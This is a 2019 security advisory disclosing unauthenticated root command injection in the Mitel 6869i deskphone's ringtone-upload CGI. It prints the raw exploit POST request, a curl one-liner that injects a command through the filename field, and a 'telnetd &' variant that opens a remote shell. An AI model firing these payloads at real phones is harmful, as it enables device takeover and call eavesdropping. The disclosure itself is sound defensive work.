Mitel 6869i Voip Deskphone 4.2.2032 Command Injection

Risk: Medium
Local: No
Remote: Yes

BlueBox Security security(at) bbs-2019.001.txt 08-August-2019 ____________________________________________________________________________ Vendor: Mitel Affected Products: Mitel 6869i Voip Deskphone Version 4.2.2032 - SIP Not Affected: unknown Vulnerability: Mitel 6869i SIP Deskphone 4.2.2032: Unauthenticated Bash Command Injection Vulnerability with Root Priviledges in /cgi-bin/webuploadconfig script Risk: High ____________________________________________________________________________ Vendor communication: 2019/08/08 BlueBox Security releases this advisory ____________________________________________________________________________ Overview: -------- The Mitel 6869i is a desktop VoIP phone offering telephony features. A webservice running on the TCP Port 49249 is used to administrate the phone's VoIP settings, upgrade the firmware and change security settings. Description: -------- The Webserver on port 49249 of the Mitel 6869i phone is using the "webuploadconfig" cgi-script, an arm linux elf executable file, to upload ring tone audio files to the phone with the page=upload_ringtone parameter. The execution of this cgi-script does not require prior authentication. Futhermore the script is vulnerable to Bash Command Injection. The filename value of the POST request is used unsanitized in a system() call. The vulnerable POST request to the webuploadconfig-script is the following: POST //cgi-bin/webuploadconfig?page=upload_ringtone&action=submit&section=0&conn=1 HTTP/1.1 Host: User-Agent: curl/7.65.1 Accept: */* Content-Length: 185 Content-Type: multipart/form-data; boundary=------------------------2754e6a90f270263 Connection: close --------------------------2754e6a90f270263 Content-Disposition: form-data; name="file"; filename="`ping -c 1`" pwned --------------------------2754e6a90f270263-- By inserting "|command", "`command`" or "$(command) as the value of the "filename" parameter the "command" is executed on the underlying linux operating system. The following linux bash commandline exploits this vulnerability and executes the command "ping -c 1" on the Mitel 6869i phone with the IP Adress with root priviledges: $ echo "pwned" | curl -F "file=@-;filename=\`ping -c 1\`" \ "" To verify the successfull completion of the ping-command on the Mitel 6869i phone, start tcpdump on the host system and listen for incoming icmp requests. (eg by running tcpdump -i eth0 -n icmp) The "webuploadconfig" cgi-script also runs with superuser root-priviledges as the telnetd service can be started on the restricted TCP-port 23 by replacing the ping-command with "telnetd &". Impact: -------- The described problems allow an unauthenticated attacker to run arbitary linux operating system commands with root-priledges. This leads to a complete comprimise of the Mitel 6869i phone and therefore also the possibility to eavesdrop on the victim's calls. Solution -------- We recommend to properly perform input parsing of the filename parameter to avoid Command Injection vulnerabilities. As a quick fix blocking access to the port 49249 is advisable. ________________________________________________________________________ Credits: Bug found by Axel Rengstorf <> of Bluebox Security ________________________________________________________________________ References: This Advisory and Upcoming Advisories: ________________________________________________________________________ About BlueBox Security: BlueBox Security is a vendor-independent security consulting company specialising in the areas of voip/pbx telephone infrastructures security analysis, source code audits and analysis of iot/embedded systems. Contact: Copyright Notice: Unaltered electronic reproduction of this advisory is permitted. For all other reproduction or publication, in printing or otherwise, contact for permission. Use of the advisory constitutes acceptance for use in an "as is" condition. All warranties are excluded. In no event shall BlueBox Security be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the author has been advised of the possibility of such damages. Copyright 2019 Axel Rengstorf. All rights reserved. Terms of use apply.

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